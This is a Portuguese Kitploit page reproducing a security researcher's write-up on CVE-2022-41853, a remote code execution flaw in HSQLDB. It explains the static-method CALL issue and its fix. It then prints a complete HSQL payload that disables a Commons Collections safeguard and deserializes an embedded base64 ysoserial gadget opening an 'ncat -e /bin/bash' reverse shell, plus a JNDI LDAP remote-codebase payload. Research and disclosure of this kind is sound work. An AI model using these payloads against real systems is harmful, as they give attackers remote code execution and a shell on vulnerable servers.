Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-41853 — Pesquisa sobre CVE-2022-41853: usando funções estáticas para obter RCE via desserialização Java e ataque de codebase remoto | Kitploit
Ferramentas/GitHubGitHub/mbadanoiu/cve-2022-41853
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebDesenvolvimento de Payloads
GitHubmbadanoiu/cve-2022-41853

CVE-2022-41853

Pesquisa sobre CVE-2022-41853: usando funções estáticas para obter RCE via desserialização Java e ataque de codebase remoto

Ver Repositório
211há 2 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Pesquisa sobre CVE-2022-41853: Usando funções estáticas para obter RCE via Desserialização Java e Ataque de Codebase Remoto

Aqueles que usam java.sql.Statement ou java.sql.PreparedStatement no hsqldb (HyperSQL DataBase) para processar entrada não confiável podem ser vulneráveis a um ataque de execução remota de código. Por padrão, é permitido chamar qualquer método estático de qualquer classe Java no classpath, resultando em execução de código. O problema pode ser evitado atualizando para a versão 2.7.1 ou definindo a propriedade de sistema "hsqldb.method_class_names" para as classes que podem ser chamadas. Por exemplo, System.setProperty("hsqldb.method_class_names", "abc") ou o argumento Java -Dhsqldb.method_class_names="abc" podem ser usados. A partir da versão 2.7.1, todas as classes por padrão não são acessíveis, exceto aquelas em java.lang.Math, e precisam ser ativadas manualmente.

Divulgação:

A divulgação inicial desta vulnerabilidade pode ser encontrada aqui.

Descobridor Original

Equipe OSS-Fuzz
https://github.com/google/oss-fuzz

Prova de Conceito:

Em 2021, eu estava lendo o post do blog "Remote Code Execution in F5 Big‑IP" por Mikhail Klyuchnikov sobre como um ataque de normalização de caminho + consultas HSQL "CALL" poderiam ser usadas para chamar métodos estáticos arbitrários do Java a fim de obter RCE.

Como, na época, eu estava reportando e pesquisando vulnerabilidades no Apache SOLR, lembrei que o exemplo JDBC Stream deles usa HSQL e comecei a configurar o ambiente de teste. Screenshot 2023-11-24 at 12 51 49

Nota: Infelizmente, esta vulnerabilidade não afeta servidores Apache Solr padrão, pois o JAR do HSQL precisa ser colocado especificamente na pasta “./server/solr-webapp/webapp/WEB-INF/lib/” para que o driver seja acessível pelo componente Stream JDBC.

RCE via Desserialização Java

Como o RCE no F5 usa a função "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" localizada no "tmui.jar" (um JAR específico para aplicações F5), e eu queria criar um payload independente de aplicação, comecei a investigar como encadear JARs comumente usados (por exemplo, Apache Commons Collections, Apache Log4J) para chamar funções estáticas e obter RCE.

Como os gadgets CommonsCollections* do ysoserial foram a primeira coisa que veio à mente, segui o caminho da desserialização Java com os seguintes resultados:

  • Chamar java.lang.System.setProperty('org.apache.commons.collections.enableUnsafeSerialization','true') para ativar a desserialização insegura (Por que contornar quando você pode remover uma salvaguarda completamente :)) )
  • Usar public static <T> T org.apache.commons.lang.SerializationUtils.deserialize(byte[] objectData) como um sink para nossa entrada alcançar a função ObjectInputStream(x).readObject()
  • Usar as funções public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseBase64Binary​(String encoded) ou public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseHexBinary​(String s) para transformar nossa String de payload ysoserial codificada em um array de bytes que será ingerido por deserialize(byte[] objectData)

O payload HSQL completo tem a seguinte forma:

root@kitploit:~
CALL "java.lang.System.setProperty"('org.apache.commons.collections.enableUnsafeSerialization','true') + "org.apache.commons.lang.SerializationUtils.deserialize"("org.apache.logging.log4j.core.config.plugins.convert.Base64Converter.parseBase64Binary"('rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ABxuY2F0IC1lIC9iaW4vYmFzaCAxMjcuMSA0NDQ0dAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg='))

Nota: Neste caso, o payload ysoserial é do tipo CommonsCollection6 e executará o comando ncat -e /bin/bash 127.1 4444 de shell reverso.

Nota 2: O HSQLDB.jar standalone não é vulnerável a este payload, pois não inclui o JAR Apache Commons Collections. Esta vulnerabilidade funciona (na maioria das vezes) quando o HSQL está incluído em uma aplicação web (ex.: SOLR, Liferay, etc.)

Mais detalhes e o processo de exploração podem ser encontrados neste PDF.

RCE via Ataque de Codebase Remoto sobre LDAP ou RMI

Pesquisando sobre este assunto em 2023, me deparei com esta apresentação incrível Exploring JNDI Attacks by iSafeBlue que usava java.lang.System.setProperty para definir com.sun.jndi.ldap.object.trustURLCodebase ou com.sun.jndi.rmi.object.trustURLCodebase como true e então realizar uma consulta LDAP/RMI para executar com sucesso um ataque de codebase remoto Java.

Exemplo de Payload HSQL:

root@kitploit:~
CALL java.lang.System.setProperty"('com.sun.jndi.ldap.object.trustURLCodebase','true') + "javax.naming.InitialContext.doLookup"('ldap://127.0.0.1:4444/pgesux')

Resultado: Screenshot 2023-11-24 at 13 28 00

Nota: Por razões desconhecidas, esta vulnerabilidade funciona no HSQLDB.jar padrão, mas não funciona no ambiente HSQL + Apache SOLR ¯\_(ツ)_/¯.

Baixar ferramenta